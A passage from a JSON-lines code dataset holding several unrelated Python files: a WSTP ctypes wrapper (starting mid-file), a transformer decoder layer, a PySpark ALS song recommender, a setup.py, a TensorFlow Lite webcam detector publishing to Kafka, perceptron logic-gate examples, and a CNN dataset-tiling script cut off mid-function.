byref(count)):\n check_link_error(lnk_p, msg_prefix=\"WSGetArgCount\")\n return count.value\n\ndef WSBytesToGet(lnk_p):\n nbytes = c_int()\n if not naked.__WSBytesToGet(lnk_p, byref(nbytes)):\n check_link_error(lnk_p, msg_prefix='WSBytesToGet')\n return nbytes.value\n\ndef WSRawBytesToGet(lnk_p):\n nbytes = c_int()\n if not naked.__WSRawBytesToGet(lnk_p, byref(nbytes)):\n check_link_error(lnk_p, msg_prefix='WSRawBytesToGet')\n return nbytes.value\n\ndef WSGetRawData(lnk_p, size):\n '''\n Returns: bytearray\n Args:\n lnk_p: pointer to link\n size: int\n '''\n got_i = c_int()\n total_got = 0\n buf = bytes(size)\n cptr = c_char_p(buf)\n vptr_value = cast(cptr, c_void_p).value\n bufptr_t = POINTER(c_ubyte)\n while total_got < size:\n if not naked.__WSGetRawData(\n lnk_p, cast(vptr_value + total_got, bufptr_t),\n size, byref(got_i)\n ):\n check_link_error(lnk_p, msg_prefix='WSGetRawData')\n total_got += got_i.value\n return buf\n\ndef WSError(lnk_p):\n return WSERRNO_t(naked.__WSError(lnk_p))\n\ndef WSErrorMessage(lnk_p, encoding='utf-8'):\n encoding = encoding.lower()\n if encoding == 'ascii':\n sptr = naked.__WSErrorMessage(lnk_p)\n if not sptr:\n return ''\n msg = cast(sptr, c_char_p).value.decode(encoding)\n naked.__WSReleaseErrorMessage(lnk_p, sptr)\n else:\n msglen = c_int()\n fn_errmsg, fn_release = {\n 'utf-8': (\n naked.__WSUTF8ErrorMessage, naked.__WSReleaseUTF8ErrorMessage),\n 'utf-16': (\n naked.__WSUTF16ErrorMessage, naked.__WSReleaseUTF16ErrorMessage),\n 'utf-32': (\n naked.__WSUTF32ErrorMessage, naked.__WSReleaseUTF32ErrorMessage),\n }[encoding]\n sptr = fn_errmsg(lnk_p, byref(msglen))\n msg = decode_pointer_buffer(sptr, msglen.value, encoding=encoding)\n naked.__WSReleaseUTF8ErrorMessage(lnk_p, sptr, msglen)\n return msg\n\ndef WSReady(lnk_p):\n return bool(naked.__WSReady(lnk_p))\n\ndef WSFlush(lnk_p):\n if not naked.__WSFlush(lnk_p):\n check_link_error(lnk_p, msg_prefix='WSFlush')\n\ndef WSCreateMark(lnk_p):\n mark_p = naked.__WSCreateMark(lnk_p)\n if not mark_p:\n raise RuntimeError('WSCreateMark: got NULL mark pointer, failed')\n return mark_p\n\ndef WSSeekToMark(lnk_p, mrk_p, offset=0):\n new_mrk_p = naked.__WSSeekMark(lnk_p, mrk_p, c_int(offset))\n if not new_mrk_p:\n raise RuntimeError('WSSeekToMark: got NULL mark pointer, failed')\n return new_mrk_p\n\ndef WSDestroyMark(lnk_p, mrk_p):\n naked.__WSDestroyMark(lnk_p, mrk_p)\n\ndef WSWaitForLinkActivity(lnk_p):\n if not naked.__WSWaitForLinkActivity(lnk_p):\n check_link_error(lnk_p, msg_prefix='WSWaitForLinkActivity')\n","sub_path":"wstp/lowrapper.py","file_name":"lowrapper.py","file_ext":"py","file_size_in_byte":19862,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"518818401","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n# @Time : Wed Jan 9 18:28:43 2019\n# @Author : JRP - Ruipeng Jia\n\nfrom torch import nn\n\n# from modules.attention_multi_head import MultiHeadAttention as Attention\nfrom modules.attention_dot_product import DotProductAttention as Attention\nfrom modules.positional_wise_feedforward import PositionalWiseFeedForward\n\n\nclass DecoderLayer(nn.Module):\n\n def __init__(self, args):\n super(DecoderLayer, self).__init__()\n self.args = args\n\n self.attention = Attention(self.args)\n self.feed_forward = PositionalWiseFeedForward(self.args)\n\n def forward(self, dec_input, enc_outputs, non_pad_mask=None, self_attn_mask=None, context_attn_mask=None):\n # dec_input: (B, L_q, D), Embedded input tensor\n # enc_outputs: (B, L_k, D), Encoder's output\n # self_attn_mask: (B, L_q, L_k), pad_mask + seq_mask\n # context_attn_mask: (B, L_q, L_k), Padding mask tensor\n\n dec_output, self_attention = self.attention(dec_input, dec_input, dec_input, self_attn_mask) # self attention; all inputs are decoder inputs\n dec_output *= non_pad_mask\n\n dec_output, context_attention = self.attention(dec_output, enc_outputs, enc_outputs, context_attn_mask) # context attention; query is decoder's outputs, key and value are encoder's inputs\n dec_output *= non_pad_mask\n\n dec_output = self.feed_forward(dec_output) # decoder's output, or context\n dec_output *= non_pad_mask\n\n return dec_output, self_attention, context_attention # (B, L, D)\n","sub_path":"bin/template/src/jptproject/l5_2018_12_Pytorch_Summarization_with_Pointer-Generator_Networks/sublayers/transformer_decoder_layer.py","file_name":"transformer_decoder_layer.py","file_ext":"py","file_size_in_byte":1563,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"168932582","text":"# import libraries\nimport os\n\nfrom pyspark.shell import sqlContext\nfrom pyspark.sql.types import *\nfrom pyspark.sql import functions as F\n\nfrom pyspark.ml.recommendation import ALS\nfrom pyspark.ml.evaluation import RegressionEvaluator\n\n\n# list directories\nfiles_path = '../DataSet/' # File path here ../DataSet/ #../MDM_Project/Dataset/\n\ntriplets_file = files_path + 'train_triplets.txt'\nsongs2tracks_file = files_path + 'song_to_tracks.txt'\nmetadata_file = files_path + 'track_metadata.csv'\n\n# Handle Windows.\nif os.path.sep != '/':\n triplets_file = triplets_file.replace('/', os.path.sep)\n songs2tracks_file = songs2tracks_file.replace('/', os.path.sep)\n metadata_file = metadata_file.replace('/', os.path.sep)\n\n# Creating schema so the cluster only runs through the data once\ntriplets_schema = StructType(\n [StructField('userId', StringType()),\n StructField('songId', StringType()),\n StructField('Plays', IntegerType())]\n)\nsongs2tracks_schema = StructType(\n [StructField('songId', StringType()),\n StructField('trackId', StringType())]\n)\nmetadata_schema = StructType(\n [StructField('trackId', StringType()),\n StructField('title', StringType()),\n StructField('songId', StringType()),\n StructField('release', StringType()),\n StructField('artist_id', StringType()),\n StructField('artist_mbid', StringType()),\n StructField('artist_name', StringType()),\n StructField('duration', DoubleType()),\n StructField('artist_familiarity', DoubleType()),\n StructField('artist_hotttness', DoubleType()),\n StructField('year', IntegerType()),\n StructField('track_7digitalid', IntegerType()),\n StructField('shs_perf', DoubleType()),\n StructField('shs_work', DoubleType())]\n)\n\n# load the data into DataFrames\nplays_df = sqlContext.read.format('com.databricks.spark.csv') \\\n .options(delimiter='\\t', header=True, inferSchema=False) \\\n .schema(triplets_schema) \\\n .load(triplets_file)\n\nsongs2tracks_df = sqlContext.read.format('com.databricks.spark.csv') \\\n .options(delimiter=',', header=True, inferSchema=False) \\\n .schema(songs2tracks_schema) \\\n .load(songs2tracks_file)\n\nmetadata_df = sqlContext.read.format('com.databricks.spark.csv') \\\n .options(delimiter=',', header=True, inferSchema=False) \\\n .schema(metadata_schema) \\\n .load(metadata_file)\n\n# change ids from strings to integers\nuserId_change = plays_df.select('userId').distinct().select('userId',F.monotonically_increasing_id().alias('new_userId'))\nuser_als_id_LUT = sqlContext.createDataFrame(userId_change.rdd.map(lambda x: x[0]).zipWithIndex(), StructType([StructField(\"userId\", StringType(), True),StructField(\"user_als_id\", IntegerType(), True)]))\n\nsongId_change = plays_df.select('songId').distinct().select('songId', F.monotonically_increasing_id().alias('new_songId'))\nsong_als_id_LUT = sqlContext.createDataFrame(songId_change.rdd.map(lambda x: x[0]).zipWithIndex(), StructType([StructField(\"songId\", StringType(), True),StructField(\"song_als_id\", IntegerType(), True)]))\n\n# RUN BELOW TWO LINES TO CHECK IF THE NEW USER_ID, SONG_ID GENERATED PROPERLY\n# user_als_id_LUT.show(5)\n# song_als_id_LUT.show(5)\n\n# Get total unique users and songs\nunique_users = user_als_id_LUT.count()\nunique_songs = song_als_id_LUT.count()\nprint('Number of unique users: {0}'.format(unique_users))\nprint('Number of unique songs: {0}'.format(unique_songs))\n\n# Joining the new ID's to the Plays_df\nplays_df_2 = plays_df.join(user_als_id_LUT,'userId').join(song_als_id_LUT,'songId')\n\n# remove half users to make more manageable\nplays_df_2 = plays_df_2.filter(plays_df_2.user_als_id < unique_users / 2)\n\n# Summary of each DataFrame\nplays_df_2.cache()\nplays_df_2.show(5)\n\nsongs2tracks_df.cache()\nsongs2tracks_df.show(5)\n\nmetadata_df.cache()\nmetadata_df.show(5)\n\n#Total Listens(plays) of Each SongID\nTotal_listens = plays_df_2.groupBy('songId') \\\n .agg(F.count(plays_df_2.Plays).alias('User_Count'),\n F.sum(plays_df_2.Plays).alias('Total_Plays')) \\\n .orderBy('Total_Plays', ascending = False)\n\nprint('Total Listens of Each SONG_ID:')\nTotal_listens.show(3, truncate=False)\n\n# Joining with metadata to get artist and song title for the Total_Listens\nSong_names = Total_listens.join(metadata_df, 'songId' ) \\\n .filter('User_Count >= 200') \\\n .select('artist_name', 'title', 'songId', 'User_Count','Total_Plays') \\\n .orderBy('Total_Plays', ascending = False)\n\nprint('Complete Details of Songs Listened')\nSong_names.show(20, truncate = False)\n\n# We'll hold out 60% for training, 20% of our data for validation, and leave 20% for testing\nseed = 180229192\n(split_1, split_2, split_3) = plays_df_2.randomSplit([0.6, 0.2, 0.2], seed = seed)\n\n# Let's cache these datasets for performance\ntrain_set = split_1.cache()\nvalidation_set = split_2.cache()\ntest_set = split_3.cache()\n\nprint('Training: {0}, validation: {1}, test: {2}\\n'.format(\n train_set.count(), validation_set.count(), test_set.count())\n)\ntrain_set.show(5)\nvalidation_set.show(5)\ntest_set.show(5)\n\n# Number of plays needs to be double type\nvalidation_set = validation_set.withColumn(\"Plays\", validation_set[\"Plays\"].cast(DoubleType()))\nvalidation_set.show(5)\n\n## MODEL GENERATION (Alternating Least Squares)\n\n# initialising our First ALS learner\nals_01 = ALS()\n# Setting the parameters for the method\nals_01.setMaxIter(5)\\\n .setSeed(seed)\\\n .setItemCol(\"song_als_id\")\\\n .setRatingCol(\"Plays\")\\\n .setUserCol(\"user_als_id\")\n\n# computing an evaluation metric for our test dataset\n# We Create an RMSE evaluator using the label and predicted columns\n\nreg_eval = RegressionEvaluator(predictionCol=\"prediction\", labelCol=\"Plays\", metricName=\"rmse\")\n\ntolerance = 0.03\nranks = [4, 8, 12, 16]\nregParams = [0.15, 0.2, 0.25]\nerrors = [[0]*len(ranks)]*len(regParams)\nmodels = [[0]*len(ranks)]*len(regParams)\nerr = 0\nmin_error = float('inf')\nbest_rank = -1\n\ni = 0\nfor regParam in regParams:\n j = 0\n for rank in ranks:\n # Set the rank here:\n als_01.setParams(rank = rank, regParam = regParam)\n # Create the model with these parameters.\n model = als_01.fit(train_set)\n # Run the model to create a prediction. Predict against the validation_df.\n predictions = model.transform(validation_set)\n\n # Remove NaN values from prediction (due to SPARK-14489)\n predicted_plays = predictions.filter(predictions.prediction != float('nan'))\n predicted_plays = predicted_plays.withColumn(\"prediction\", F.abs(F.round(predicted_plays[\"prediction\"],0)))\n\n # Run the previously created RMSE evaluator, reg_eval, on the predicted_plays DataFrame\n error = reg_eval.evaluate(predicted_plays)\n errors[i][j] = error\n models[i][j] = model\n print ('For rank :',rank, ' regularization parameter:', regParam,' the RMSE is', error)\n if error < min_error:\n min_error = error\n best_params = [i,j]\n j += 1\n i += 1\n\nals_01.setRegParam(regParams[best_params[0]])\nals_01.setRank(ranks[best_params[1]])\nprint ('The best model was trained with regularization parameter %s' % regParams[best_params[0]])\nprint ('The best model was trained with rank %s' % ranks[best_params[1]])\nmy_model = models[best_params[0]][best_params[1]]\n\n#predicted plays\npredicted_plays.show(10)\n\n## TESTING THE MODEL\n\ntest_set = test_set.withColumn(\"Plays\", test_set[\"Plays\"].cast(DoubleType()))\npredict_df = my_model.transform(test_set)\n\n# Remove NaN values from prediction (due to SPARK-14489)\nTest_predictions = predict_df.filter(predict_df.prediction != float('nan'))\n\n# Round floats to whole numbers\nTest_predictions = Test_predictions.withColumn(\"prediction\", F.abs(F.round(Test_predictions[\"prediction\"],0)))\n# Run the previously created RMSE evaluator, reg_eval, on the predicted_test_df DataFrame\nTest_RMSE = reg_eval.evaluate(Test_predictions)\nprint('The model had a RMSE on the test set of {0}'.format(Test_RMSE))\n\n# Comparing the Model\navg_plays = train_set.groupBy().avg('Plays').select(F.round('avg(Plays)'))\navg_plays.show(3)\ntrain_avg_plays = avg_plays.collect()[0][0]\nprint('The average number of plays in the dataset is {0}'.format(train_avg_plays))\n\n# Add a column with the average rating\ntest_avg = test_set.withColumn('prediction', F.lit(train_avg_plays))\n\n# Run the previously created RMSE evaluator, reg_eval, on the test_for_avg_df DataFrame\ntest_avg_RMSE = reg_eval.evaluate(test_avg)\nprint(\"The RMSE on the average set is {0}\".format(test_avg_RMSE))\n\n## PREDICTION FOR AN USER\n\nUserID = 13\nsongs_listened = plays_df_2.filter(plays_df_2.user_als_id == UserID) \\\n .join(metadata_df, 'songId') \\\n .select('song_als_id', 'artist_name', 'title') \\\n \\\n# Generating List of Listened Songs\nlistened_songs_list = []\nfor song in songs_listened.collect():\n listened_songs_list.append(song['song_als_id'])\n\nprint('Songs user has listened to:')\nsongs_listened.select('artist_name', 'title').show()\n\n# generate dataframe of unlistened songs\nsongs_unlistened = plays_df_2.filter( ~ plays_df_2['song_als_id'].isin(listened_songs_list)) \\\n .select('song_als_id').withColumn('user_als_id', F.lit(UserID)).distinct()\n\n# feed unlistened songs into model\npredicted_listens = my_model.transform(songs_unlistened)\n\n# remove NaNs\npredicted_listens = predicted_listens.filter(predicted_listens['prediction'] != float('nan'))\n\n# print output\nprint('Predicted Songs:')\npredicted_listens.join(plays_df_2, 'song_als_id') \\\n .join(metadata_df, 'songId') \\\n .select('artist_name', 'title', 'prediction') \\\n .distinct() \\\n .orderBy('prediction', ascending=False) \\\n .show(10)\n\n## MAKING PREDICTIONS BASED ON 'SONGS LISTENED TO' AT LEAST TWICE\nplays_df_2more_plays = plays_df.join(user_als_id_LUT, 'userId') \\\n .join(song_als_id_LUT, 'songId') \\\n .filter(plays_df.Plays >= 2)\\\n .distinct()\n\ntotal_entries_2more = plays_df_2more_plays.count()\nprint('Total enties with two or more plays: {0}'.format(total_entries_2more))\n\nplays_df_2more_plays = plays_df_2more_plays.filter(plays_df_2more_plays.user_als_id < (unique_users)*0.8) \\\n .select('user_als_id', 'song_als_id', 'Plays')\nplays_df_2more_plays.cache()\n\n# We'll hold out 60% for training, 20% of our data for validation, and leave 20% for testing\nseed = 1800083193\n(split_01, split_02, split_03) = plays_df_2more_plays.randomSplit([0.6, 0.2, 0.2], seed = seed)\n\n# Let's cache these datasets for performance\ntrainset_2more = split_01.cache()\nvalidationset_2more = split_02.cache()\ntestset_2more = split_03.cache()\n\nprint('Training: {0}, validation: {1}, test: {2}\\n'.format(\n trainset_2more.count(), validationset_2more.count(), testset_2more.count())\n)\nvalidationset_2more = validationset_2more.withColumn(\"Plays\", validationset_2more[\"Plays\"].cast(DoubleType()))\ntest_2more = testset_2more.withColumn(\"Plays\", testset_2more[\"Plays\"].cast(DoubleType()))\n\ntrainset_2more.show(3)\nvalidationset_2more.show(3)\ntestset_2more.show(3)\n\n# Let's initialize our ALS learner\nals_2more = ALS()\n\n# Now set the parameters for the method\nals_2more.setMaxIter(2)\\\n .setSeed(seed)\\\n .setItemCol(\"song_als_id\")\\\n .setRatingCol(\"Plays\")\\\n .setUserCol(\"user_als_id\")\n\n# Now let's compute an evaluation metric for our test dataset\n# We Create an RMSE evaluator using the label and predicted columns\nreg_eval = RegressionEvaluator(predictionCol=\"prediction\", labelCol=\"Plays\", metricName=\"rmse\")\n\ntolerance = 0.03\nranks = [4, 8, 12, 16]\nregParams = [0.1, 0.15, 0.2, 0.25]\nerrors = [[0]*len(ranks)]*len(regParams)\nmodels = [[0]*len(ranks)]*len(regParams)\nerr = 0\nmin_error = float('inf')\nbest_rank = -1\ni = 0\nfor regParam in regParams:\n j = 0\n for rank in ranks:\n # Set the rank here:\n als_2more.setParams(rank = rank, regParam = regParam)\n # Create the model with these parameters.\n model = als_2more.fit(trainset_2more)\n # Run the model to create a prediction. Predict against the validation_df.\n predict_df = model.transform(validationset_2more)\n\n # Remove NaN values from prediction (due to SPARK-14489)\n predicted_plays_df = predict_df.filter(predict_df.prediction != float('nan'))\n predicted_plays_df = predicted_plays_df.withColumn(\"prediction\", F.abs(F.round(predicted_plays_df[\"prediction\"],0)))\n # Run the previously created RMSE evaluator, reg_eval, on the predicted_ratings_df DataFrame\n error = reg_eval.evaluate(predicted_plays_df)\n errors[i][j] = error\n models[i][j] = model\n print ('For rank %s, regularization parameter %s the RMSE is %s' % (rank, regParam, error))\n if error < min_error:\n min_error = error\n best_params = [i,j]\n j += 1\n i += 1\n\nals_2more.setRegParam(regParams[best_params[0]])\nals_2more.setRank(ranks[best_params[1]])\nprint ('The best model was trained with regularization parameter %s' % regParams[best_params[0]])\nprint ('The best model was trained with rank %s' % ranks[best_params[1]])\nmy_model_2more = models[best_params[0]][best_params[1]]\n\n#Testing the Model on the Test_2more Dataset\npredict_2more = my_model_2more.transform(test_2more)\n\n# Remove NaN values from prediction (due to SPARK-14489)\npredicted_test_2more = predict_2more.filter(predict_2more.prediction != float('nan'))\n\n# Round floats to whole numbers\npredicted_test_2more = predicted_test_2more.withColumn(\"prediction\", F.abs(F.round(predicted_test_2more[\"prediction\"],0)))\n# Run the previously created RMSE evaluator, reg_eval, on the predicted_test_df DataFrame\ntest2more_RMSE = reg_eval.evaluate(predicted_test_2more)\n\nprint('The model had a RMSE on the test set of {0}'.format(test2more_RMSE))\n\n#Comparing the Model\n##We again compare to selecting the average number of plays from the training dataset\navg_plays_2more = trainset_2more.groupBy().avg('Plays').select(F.round('avg(Plays)'))\n\navg_plays_2more.show(3)\n# Extract the average rating value. (This is row 0, column 0.)\ntrain_avg_plays2more = avg_plays_2more.collect()[0][0]\n\nprint('The average number of plays in the dataset is {0}'.format(train_avg_plays2more))\n\n# Add a column with the average rating\ntest_for_avg_2more = test_2more.withColumn('prediction', F.lit(train_avg_plays2more))\n\n# Run the previously created RMSE evaluator, reg_eval, on the test_for_avg_df DataFrame\ntest_avg_RMSE_2more = reg_eval.evaluate(test_for_avg_2more)\n\nprint(\"The RMSE on the average set is {0}\".format(test_avg_RMSE_2more))\n\n#PREDICTION FOR THE USER - 02\nUserID = 13\nsongs_listened = plays_df_2.filter(plays_df_2.user_als_id == UserID) \\\n .join(metadata_df, 'songId') \\\n .select('song_als_id', 'artist_name', 'title') \\\n \\\n# Generating List of Listened Songs\nlistened_songs_list = []\nfor song in songs_listened.collect():\n listened_songs_list.append(song['song_als_id'])\n\nprint('Songs user has listened to:')\nsongs_listened.select('artist_name', 'title').show()\n\n# generate dataframe of unlistened songs\nsongs_unlistened = plays_df_2.filter( ~ plays_df_2['song_als_id'].isin(listened_songs_list)) \\\n .select('song_als_id').withColumn('user_als_id', F.lit(UserID)).distinct()\n\n# feed unlistened songs into model\npredicted_listens = my_model_2more.transform(songs_unlistened)\n\n# remove NaNs\npredicted_listens = predicted_listens.filter(predicted_listens['prediction'] != float('nan'))\n\n# print output\nprint('Predicted Songs:')\npredicted_listens.join(plays_df_2, 'song_als_id') \\\n .join(metadata_df, 'songId') \\\n .select('artist_name', 'title', 'prediction') \\\n .distinct() \\\n .orderBy('prediction', ascending=False) \\\n .show(10)\n","sub_path":"Final_ALS_Model.py","file_name":"Final_ALS_Model.py","file_ext":"py","file_size_in_byte":15787,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"644059178","text":"#!/usr/bin/env python\n\"\"\"\n @author: Jean-Lou Dupont\n\"\"\"\n__author__ = \"Jean-Lou Dupont\"\n__fileid__ = \"$Id: setup.py 39 2009-04-03 16:57:56Z jeanlou.dupont $\"\n__email = \"python (at) jldupont.com\"\n\nimport os\nimport sys\nfrom setuptools import setup, find_packages\n\nfrom pyjld.builder import findPackage, getShortAndLongDescription\n\n#helps with Eclipse external buidler\n__file__dir = os.path.dirname( __file__ )\nos.chdir(__file__dir)\n\npkg_path, ns, package = findPackage(__file__dir)\nthis_module_name = \"%s.%s\" % (ns, package)\nthis_package = __import__( this_module_name )\nthis_module = getattr(this_package, package)\nversion = this_module.__version__\n\nshort_description, long_description = getShortAndLongDescription(this_module) \n\n_doc_url = \"http://pyjld.googlecode.com/svn/trunk/%s.%s/tags/%s/docs/index.html\" % (ns,package,version)\n\ndist = setup(\n name = this_module_name,\n description = short_description,\n author_email = __email,\n author = __author__,\n url = _doc_url,\n long_description = long_description,\n version = this_module.__version__,\n package_data = {'':['*.*']},\n namespace_packages=[ns],\n package_dir = {'':'src'},\n packages = find_packages('src'),\n classifiers = this_module.__classifiers,\n install_requires = this_module.__dependencies,\n tests_require = [],\n #test_suite = ['tests.suite'],\n zip_safe = True,\n)\n\n","sub_path":"pyjld.phidgets/trunk/setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1493,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"502534182","text":"#\n# tflite_webcam_image.py\n#\n# OpenCV - image capture and image manipulation \n# TensorFlow Lite - object classification using coco_ssd_mobilenet_v1_1.0 model\n# Kafka - send inferred meta data and annotated image to event stream\n#\n# Sanjeev Gupta, April 2020\n#\n\nimport os\nimport time\n\nfrom package import Config\nfrom package import Detector\nfrom package import OpenCV\nfrom package import VideoStream\nfrom package import util\n\nconfig = Config(resolution=(640, 480), framerate=30)\ndetector = Detector(config)\nopencv = OpenCV()\nvideostream = VideoStream(config).start()\n\n# Start mmsPoller in a different thread\nconfig.mmsPoller()\n\ntime.sleep(1)\n\nwhile True:\n # Get a frame in different states\n frame_current, frame_normalized, frame_faces, frame_gray = opencv.getFrame(config, detector, videostream)\n\n # Perform the actual inferencing with the initilized detector . tflite\n inference_interval = detector.infer(frame_normalized)\n\n # Get results\n boxes, classes, scores, num = detector.getResults()\n \n # Annotate the frame with class boundaries\n entities_dict = opencv.updateFrame(config, detector, opencv, frame_current, frame_faces, frame_gray, boxes, classes, scores, num)\n \n # Get full payload in json\n inference_data_json = detector.getInferenceDataJSON(config, inference_interval, entities_dict, frame_current)\n\n # Publish the result to kafka event stream\n if config.shouldPublishKafka():\n util.inference_publish(config.getPublishPayloadKafkaUrl(), inference_data_json)\n\n if config.shouldPublishStream():\n util.inference_publish(config.getPublishPayloadStreamUrl(), inference_data_json)\n\n # Update framerate\n opencv.updateFrameRate()\n\nvideostream.stop()\n","sub_path":"src/tflite/service/tflite_webcam_image.py","file_name":"tflite_webcam_image.py","file_ext":"py","file_size_in_byte":1719,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"92620684","text":"import numpy as np\n\n# \n\ndef unit_step(v):\n \"\"\" Heavyside Step function. v must be a scalar \"\"\"\n if v >= 0:\n return 1\n else:\n return 0\n\ndef perceptron(x, w, b):\n# Function implemented by a perceptron with \n# weight vector w and bias b \"\"\"\n v = np.dot(w, x) + b\n y = unit_step(v)\n return y\n\ndef NOT_percep(x):\n return perceptron(x, w=-1, b=0.5)\n\ndef AND_percep(x):\n w = np.array([1, 1])\n b = -1.5\n return perceptron(x, w, b)\n\ndef NAND_percep(x):\n w = np.array([-1, -1])\n b = 1.5\n return perceptron(x, w, b)\n\n\ndef OR_percep(x):\n w = np.array([1, 1])\n b = -0.5\n return perceptron(x, w, b)\n\ndef XOR_net(x):\n gate_1 = NAND_percep(x)\n combine0 = np.array( [x[0],gate_1])\n\n gate_2 = NAND_percep(combine0)\n combine1 = np.array( [x[1],gate_1])\n\n gate_3 = NAND_percep(combine1)\n combine3 = np.array([gate_2, gate_3])\n\n output = NAND_percep(combine3)\n return output\n\n\n# Test\nexample1 = np.array([1, 1])\nexample2 = np.array([1, 0])\nexample3 = np.array([0, 1])\nexample4 = np.array([0, 0])\n\nprint(\"XOR({}, {}) = {}\".format(1, 1, XOR_net(example1)))\nprint(\"XOR({}, {}) = {}\".format(1, 0, XOR_net(example2)))\nprint(\"XOR({}, {}) = {}\".format(0, 1, XOR_net(example3)))\nprint(\"XOR({}, {}) = {}\".format(0, 0, XOR_net(example4)))\n","sub_path":"perceptrons/xor-from-nand.py","file_name":"xor-from-nand.py","file_ext":"py","file_size_in_byte":1356,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"354426788","text":"# %%\n\"\"\"\n

Perceptron implementation

\nby Vip Lab 116 - EE Dept. NCNU TW\n\"\"\"\n\n# %%\n\"\"\"\nnumpy lets us create vectors, and gives us both linear algebra functions and python list-like methods to use with it. We access its functions by calling them on np.\n\"\"\"\n\n# %%\nimport numpy as np\n\n# %%\n\"\"\"\nHere, we’re creating a new class Perceptron. This will, among other things, allow us to maintain state in order to use our perceptron after it has learned and assigned values to its weights.\n1. __init__ function
\nThe no_of_inputs is used to determine how many weights we need to learn.
\nThe threshold, is the number of epochs we’ll allow our learning algorithm to iterate through before ending, and it’s defaulted to 100.
\nThe learning_rate is used to determine the magnitude of change for our weights during each step through our training data, and is defaulted to 0.01.
\nInitialize a weight vector with an n-number of 0’s.
\n\n2. __predict__ method
\nf(x) = 1 if w · x + b > 0 : 0 otherwise
\ndot product function: np.dot(a, b) == a · b
\nf the summation from above is greater than 0, we store 1 in the variable activation, otherwise, activation = 0, then we return that value.
\n\n3. __train__ method: which takes two arguments: training_inputs and labels
\nThe labels is expected to be a numpy array of expected output values for each of the corresponding inputs in the training_inputs list.
\n\n\n\n\"\"\"\n\n# %%\nclass Perceptron(object):\n def __init__(self, no_of_inputs, threshold=100, learning_rate=0.01):\n self.threshold = threshold\n self.learning_rate = learning_rate\n self.weights = np.zeros(no_of_inputs + 1)\n \n def predict(self, inputs):\n summation = np.dot(inputs, self.weights[1:]) + self.weights[0]\n if summation > 0:\n activation = 1\n else:\n activation = 0 \n return activation\n \n def train(self, training_inputs, labels):\n for _ in range(self.threshold):\n for inputs, label in zip(training_inputs, labels):\n prediction = self.predict(inputs)\n self.weights[1:] += self.learning_rate * (label - prediction) * inputs\n self.weights[0] += self.learning_rate * (label - prediction)","sub_path":"W12-Perceptron/.ipynb_checkpoints/perceptron-checkpoint.py","file_name":"perceptron-checkpoint.py","file_ext":"py","file_size_in_byte":2336,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"166958271","text":"#!/usr/bin/python3\n\nimport os\nimport glob\nimport shutil\n\nimport numpy as np\nimport tensorflow as tf\n\nfrom osgeo import gdal\n\nfrom cnn_exceptions import DatasetError\n\n\ndef read_images(data_dir, tensor_shape=(256, 256),\n filter_by_class=None, verbose=1):\n \"\"\"Read images and return them as tensors and lists of filenames.\n\n :param data_dir: path to the directory containing images\n :param tensor_shape: shape of the first two dimensions of input tensors\n :param verbose: verbosity (0=quiet, >0 verbose)\n :param filter_by_class: classes of interest (if specified, only samples\n containing at least one of them will be created)\n :return: image_tensors, masks_tensors\n \"\"\"\n images_arrays = []\n masks_arrays = []\n for i in glob.glob(os.path.join(data_dir, '*image.tif')):\n tiled = tile(i, i.replace('image.tif', 'label.tif'),\n tensor_shape, filter_by_class)\n images_arrays.extend(tiled[0])\n masks_arrays.extend(tiled[1])\n\n if len(images_arrays) == 0:\n raise DatasetError('No training samples created. Check the size of '\n 'the images in the data_dir or the appearance of '\n 'the classes you are interested in in labels')\n\n if masks_arrays[0].ndim == 2:\n masks_arrays = [np.expand_dims(i, -1) for i in masks_arrays]\n\n # create TF datasets\n images_dataset = tf.data.Dataset.from_tensor_slices(images_arrays)\n masks_dataset = tf.data.Dataset.from_tensor_slices(masks_arrays)\n\n im_nr = len(images_arrays)\n if verbose > 0:\n print('Created {} training samples from the provided '\n 'image.'.format(im_nr))\n\n return images_dataset, masks_dataset\n\n\ndef parse_label_code(line):\n \"\"\"Parse lines in a text file into a label code and a label name.\n\n :param line: line in the txt file\n :return: tuple with an integer label code, a string label name\n \"\"\"\n a, b = line.strip().split(',')\n\n # format label_value, label_name\n return int(a), b\n\n\ndef generate_dataset_structure(data_dir, nr_bands=12, tensor_shape=(256, 256),\n val_set_pct=0.2, filter_by_class=None,\n verbose=1):\n \"\"\"Generate the expected dataset structure.\n\n Will generate directories train_images, train_masks, val_images and\n val_masks.\n\n :param data_dir: path to the directory containing images\n :param nr_bands: number of bands of intended input images\n :param tensor_shape: shape of the first two dimensions of input tensors\n :param val_set_pct: percentage of the validation images in the dataset\n :param filter_by_class: classes of interest (if specified, only samples\n containing at least one of them will be created)\n :param verbose: verbosity (0=quiet, >0 verbose)\n \"\"\"\n # function to be used while saving samples\n def train_val_determination(val_set_pct):\n \"\"\"Return decision about the sample will be part of train or val set.\"\"\"\n pct = 0\n while True:\n pct += val_set_pct\n if pct < 1:\n yield 'train'\n else:\n pct -= 1\n yield 'val'\n\n # Create folders to hold images and masks\n dirs = ['train_images', 'train_masks', 'val_images', 'val_masks']\n\n for directory in dirs:\n dir_full_path = os.path.join(data_dir, directory)\n if os.path.isdir(dir_full_path):\n shutil.rmtree(dir_full_path)\n\n os.makedirs(dir_full_path)\n\n images, masks = read_images(data_dir, tensor_shape, filter_by_class)\n\n # TODO: would be nice to avoid tf.compat.v1 (stay v2) (what about my\n # generator?)\n # Create iterators for images and masks\n # outside of TF Eager, we would use make_one_shot_iterator\n frame_batches = tf.compat.v1.data.make_one_shot_iterator(images)\n mask_batches = tf.compat.v1.data.make_one_shot_iterator(masks)\n\n driver = gdal.GetDriverByName('GTiff')\n\n # Iterate over the images while saving the images and masks\n # in appropriate folders\n im_id = 0\n dir_names = train_val_determination(val_set_pct)\n for image, mask in zip(frame_batches, mask_batches):\n # TODO: Experiment with uint16\n # Convert tensors to numpy arrays\n image = (image.numpy() / 255).astype(np.uint8)\n mask = 